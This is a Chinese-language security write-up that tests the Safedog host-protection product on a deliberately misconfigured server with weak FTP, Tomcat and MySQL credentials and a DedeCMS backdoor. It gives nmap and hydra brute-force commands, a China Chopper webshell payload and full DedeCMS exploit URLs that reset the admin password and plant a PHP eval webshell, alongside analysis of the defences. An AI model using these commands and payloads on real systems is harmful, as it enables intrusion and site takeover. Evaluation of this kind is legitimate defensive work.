0x1:IIS FTP
1. 匿名直接登录 2. FTP根目录设置在WEB目录 3. 设置了可读、可写权限
用户常常为了方便远程部署、管理自己的网站服务器,方便随时上传自己线下完成的源代码,在自己的ECS上架设了FTP服务,并将WEB目录设置成了FTP目录,自然,读写权限也是需要打开的
0x2:ServU FTP
1. FTP监听端口: 2121: 管理员进行了一定程度的端口隐藏,对黑客的恶意端口探测起到一定的防御作用 2. FTP HTTP监听端口: 8080: http://112.124.6.139:8080/ 3. 弱密码: admin、admin 4. FTP目录设置为WEB目录(锁定目录在根目录): 管理员配置了根目录锁定,将FTP的文件操作作用域限定在了FTP目录下 5. 设置了可读、可写权限: 同样,为了方便WEB网站文件的管理,这是必须的
0x3:tomcat manager后台弱口令
http://112.124.6.139:9999/ http://112.124.6.139:9999/manager/html
默认情况下,tomcat的帐号的确是tomcat:tomcat(同时admin:admin也是常用的弱密码),但是却不具备访问manager页面,远程部署WAR包的权限,需要管理员人工修改配置manager权限才能够直接部署war包,需要新增一个manager角色,并将指定帐号赋予这个角色,之后管理员才可以使用这个帐号登录manager页面
0x4:DEDECMS download.php、xx_js.php数据库后门漏洞
http://www.cnblogs.com/LittleHann/p/4236517.html
黑客通过这个漏洞可以直接修改管理员帐号/密码、向数据库中写入WEBSHELL后门,并且触发数据库后门的方式完全无特征可言: http://localhost/dedecms5.5/plus//mytag_js.php?aid=1
防御者必须在POC攻击的时候就进行修复、阻断
0x5:phpmyadmin弱密码
http://112.124.6.139/phpmyadmin/
由于mysql存在弱密码root、111,又因为phpmyadmin的存在,导致黑客对mysql的攻击面又多了一个web端
0x6:mysql弱密码
root、111: 开启外连
2. 黑客攻击手段、及其攻击过程中受到的阻击
0x1:端口扫描
端口扫描是攻击者进行试探攻击最常用的手段,但同时也是运维管理员对服务器进行存活探测的常用手段,因此对于绝大多数安全软件来说都不会去阻断这一行为
nmap -sS -P0 -sV -O 112.124.6.139
但是安全狗的默认策略禁止了端口扫描这一行为
安全狗对端口扫描的防护策略是通过限制在一个时间窗口内的TCP全连接连接、SYN半连接、端口连接、ICMP包、UDP包的数量,来达到防御网络扫描和攻击的目的
在这种情况下,攻击者可以有两种突破思路,由此也可以看出安全攻防的本质是基于一定的基础设施(操作系统原生提供、应用层程序),在其上部署适当的"模式策略",基础设施提供原子事件数据,在策略判断层进行"模式匹配",如果匹配命中,则认定为发生了攻击行为,但同时也要认识到,安全策略的另一个特性就是和正常的用户行为并不存在绝对的分界线,即由安全人员定义的"安全策略"极有可能侵入到正常用户的操作中(模式识别中的分类器模糊难题)
目前安全攻防产品解决这个"策略分界线"难题的思路大体有两个方向: 1) 采取保守策略、2) 系统默认采取一个低侵入性的保守策略,同时允许用户自定义额外配置
1. 调整端口扫描方式 2. 降低端口扫描速度: nmap -sS -P0 -sV -O 112.124.6.139 --scan-delay 300ms
由此可以看出该主机存在的攻击向量有FTP、SSH、80 WEB、MYSQL
0x2:IIS FTP匿名登录
FTP匿名登录属于用户对IIS FTP的配置不当,安全狗在登录阻断这点没有设置布防点,黑客可以直接匿名登录,而此时如果FTP的根目录是WEB目录的话,黑客可以进一步上传WEBSHELL,而对WEB进行禁止读写又是不现实的,在这一步,WEBSHELL可以畅通无阻地写入到WEB目录中
从文件落地监控的角度来看,不论是采用inotify、还是基于文件系统驱动的文件变动监控,在系统层面直接进行Hook/callback实现文件变动监控都是最好的选择,在此之上对WEB目录下的变动文件进行恶意WEBSHELL检测
另外,从检测->阻断->修复的层次防御角度上来看,解决IIS FTP匿名登录最好的方式是在主机层面进行漏洞检测,帮助用户提前发现IIS FTP匿名登录这一个入侵向量,提醒用户去进行配置加固,或者提供自动化的一键修复接口,由用户进行授权修复
但是在进一步的入侵中我们会发现,安全狗采取了WEBSERVER插件模块的方式,实现了WEBSERVER WAF,对WEBSHELL的连接进行了以下几个方面的阻断
1. 基于文件变动事件、WEBSHELL特征检测: 检测到100%确定是webshell,则直接删除(默认不开启此功能) 2. WEB容器扩展模块: 对当前请求待执行的文件进行内容检测,如果检测到恶意WEBSHELL文件,则禁止访问 3. WEB容器扩展模块: 对当前请求数据包的流量特征进行菜刀检测,禁止一句话菜刀的连接
从实际结果上来看,我们虽然获得了webshell,但是却没有访问权限,黑客需要针对菜刀进行逆向重编译,修改POST数据包特征,方可绕过安全狗的流量检测,所以从这个层面上讲,如果安全狗能加强webshell的检测和删除能力,会形成更大的入侵阻击能力
0x3:ServU FTP弱密码猜解
使用hydra对2121的的ServU进行弱密码猜解,受到了安全狗网络防火墙的阻击,黑客的攻击频率命中了安全狗对SYN密度的策略窗,一旦命中了安全狗的攻击策略,安全狗会针对当前的攻击源IP进行拉黑,在一定时间窗口内禁止继续发包
攻击者调整爆破频率,采取分段、延时爆破的方式,继续发起攻击
hydra -t 1 -l admin -P /root/passwdCracker/password.lst -vV 112.124.6.139 ftp -s 2121
同时我们发现,安全狗在设置了TCP/UDP的泛防御规则的同时,针对应用层的应用部署了"应用防火墙"(这是一个概念),针对FTP暴力破解设置了更严格的防御策略,这是一种深度防御暴力破解策略,由于受到单击模式的限制,安全狗无法展开部署广度防御暴力破解策略
同样FTP弱密码猜解成功导致的FTP上传WEBSHELL入侵,最好的方式是在主机层面帮助用户检测出存在的FTP弱口令,通知用户进行密码加固,或者提供自动化地一键修复接口
黑客通过ServU FTP向WEB目录上传WEBSHELL,同样,在这一步上,安全狗对落地的可疑文件进行恶意扫描
并且从网络数据包层面上对"一句话菜刀"的数据包特征进行检测、并阻断,例如
op=@eval(base64_decode($_POST[z0]));&z0=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwiMCIpO0BzZXRfdGltZV9saW1pdCgwKTtAc2V0X21hZ2ljX3F1b3Rlc19ydW50aW1lKDApO2VjaG8oIi0+fCIpOztwcmludCgiaGVsbG8gUEhQISIpOztlY2hvKCJ8PC0iKTtkaWUoKTs=
导致中国菜刀无法连接WEBSHELL
0x4:异地登录限制
黑客在通过WEBSHELL、或者其他命令执行管道添加了管理员权限帐号之后,会通过3389 RDP进行登录,在大多数情况下,这都会触发"异地登陆"这个行为,安全狗在这个攻击向量上布防了"远程桌面守护",即限制可以RDP登录的ip、计算机名白名单,并在阻断异常异地登录之后发送告警提醒(这是一个极高危的安全事件)
0x5:tomcat manager后台远程WAR包部署
由于tomcat本身存在默认配置的弱密码,加上管理员对密码安全不够重视,黑客对tomcat manager后台的密码爆破几乎不需要借助字典,只是简单的手工尝试几个常用的默认密码就可以进入(例如admin:admin、tomcat:tomcat)
http://112.124.6.139:9999/1/1.jsp
同样,在这个攻击向量上,安全狗对文件落地扫,即WEBSHELL检测并没有太多的阻击能力, 同时因为安全狗是基于WEBSERVER插件模块的方式实现WAF的,对于tomcat webshell并不能实现连接阻断
0x6:DEDECMS download.php、xx_js.php数据库后门漏洞攻击
黑客在利用这个漏洞进行攻击的过程中,会暴露出的攻击特征有以下几个
1. POC: 修改管员密码: http://112.124.6.139/dedecms5.7/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=97&arrs2[]=100&arrs2[]=109&arrs2[]=105&arrs2[]=110&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=117&arrs2[]=115&arrs2[]=101&arrs2[]=114&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=115&arrs2[]=112&arrs2[]=105&arrs2[]=100&arrs2[]=101&arrs2[]=114&arrs2[]=39&arrs2[]=44&arrs2[]=32&arrs2[]=96&arrs2[]=112&arrs2[]=119&arrs2[]=100&arrs2[]=96&arrs2[]=61&arrs2[]=39&arrs2[]=102&arrs2[]=50&arrs2[]=57&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=55&arrs2[]=97&arrs2[]=53&arrs2[]=97&arrs2[]=55&arrs2[]=52&arrs2[]=51&arrs2[]=56&arrs2[]=57&arrs2[]=52&arrs2[]=97&arrs2[]=48&arrs2[]=101&arrs2[]=52&arrs2[]=39&arrs2[]=32&arrs2[]=119&arrs2[]=104&arrs2[]=101&arrs2[]=114&arrs2[]=101&arrs2[]=32&arrs2[]=105&arrs2[]=100&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35 2. POC: 向数据库插入后门 http://112.124.6.139/plus/download.php?open=1&arrs1[]=99&arrs1[]=102&arrs1[]=103&arrs1[]=95&arrs1[]=100&arrs1[]=98&arrs1[]=112&arrs1[]=114&arrs1[]=101&arrs1[]=102&arrs1[]=105&arrs1[]=120&arrs2[]=109&arrs2[]=121&arrs2[]=116&arrs2[]=97&arrs2[]=103&arrs2[]=96&arrs2[]=32&arrs2[]=83&arrs2[]=69&arrs2[]=84&arrs2[]=32&arrs2[]=96&arrs2[]=110&arrs2[]=111&arrs2[]=114&arrs2[]=109&arrs2[]=98&arrs2[]=111&arrs2[]=100&arrs2[]=121&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=32&arrs2[]=39&arrs2[]=123&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=102&arrs2[]=105&arrs2[]=108&arrs2[]=101&arrs2[]=95&arrs2[]=112&arrs2[]=117&arrs2[]=116&arrs2[]=95&arrs2[]=99&arrs2[]=111&arrs2[]=110&arrs2[]=116&arrs2[]=101&arrs2[]=110&arrs2[]=116&arrs2[]=115&arrs2[]=40&arrs2[]=39&arrs2[]=39&arrs2[]=120&arrs2[]=46&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=39&arrs2[]=39&arrs2[]=44&arrs2[]=39&arrs2[]=39&arrs2[]=60&arrs2[]=63&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=32&arrs2[]=101&arrs2[]=118&arrs2[]=97&arrs2[]=108&arrs2[]=40&arrs2[]=36&arrs2[]=95&arrs2[]=80&arrs2[]=79&arrs2[]=83&arrs2[]=84&arrs2[]=91&arrs2[]=109&arrs2[]=93&arrs2[]=41&arrs2[]=59&arrs2[]=63&arrs2[]=62&arrs2[]=39&arrs2[]=39&arrs2[]=41&arrs2[]=59&arrs2[]=123&arrs2[]=47&arrs2[]=100&arrs2[]=101&arrs2[]=100&arrs2[]=101&arrs2[]=58&arrs2[]=112&arrs2[]=104&arrs2[]=112&arrs2[]=125&arrs2[]=39&arrs2[]=32&arrs2[]=87&arrs2[]=72&arrs2[]=69&arrs2[]=82&arrs2[]=69&arrs2[]=32&arrs2[]=96&arrs2[]=97&arrs2[]=105&arrs2[]=100&arrs2[]=96&arrs2[]=32&arrs2[]=61&arrs2[]=49&arrs2[]=32&arrs2[]=35 3. 触发数据库,向磁盘上写入WEBSHELL http://localhost/dedecms5.7/plus/mytag_js.php/aid=1 http://localhost/dedecms5.7/plus/mytag_js.php/aid=2 .. http://localhost/dedecms5.7/plus/mytag_js.php/aid=n //黑客会使用工具或脚本进行批量扫描,以触发目标数据库中可能存在的脏数据后门
对于一个攻防产品来说,在这个攻击向量上可以做的阻击有以下几种思路
1. 网络层面: WAF 安全狗基于WEBSERVER插件模块实现主机WAF,在云端,安全人员添加了大量的常见0day、web漏洞POST/GET数据包特征(同时允许用户添加自定义WAF规则),如果在请求数据包中发现这些特征,立刻进行阻断,实现WAF的效果 2. 代码层漏洞修复 通过修改用户网站脚本文件,将官方的补丁代码插入存在漏洞的文件中,以此达到阻断攻击的目的 3. 防御CC/扫描器行为 典型地如: http://localhost/dedecms5.7/plus/mytag_js.php/aid=n,黑客会进行大量的类似CC攻击的扫描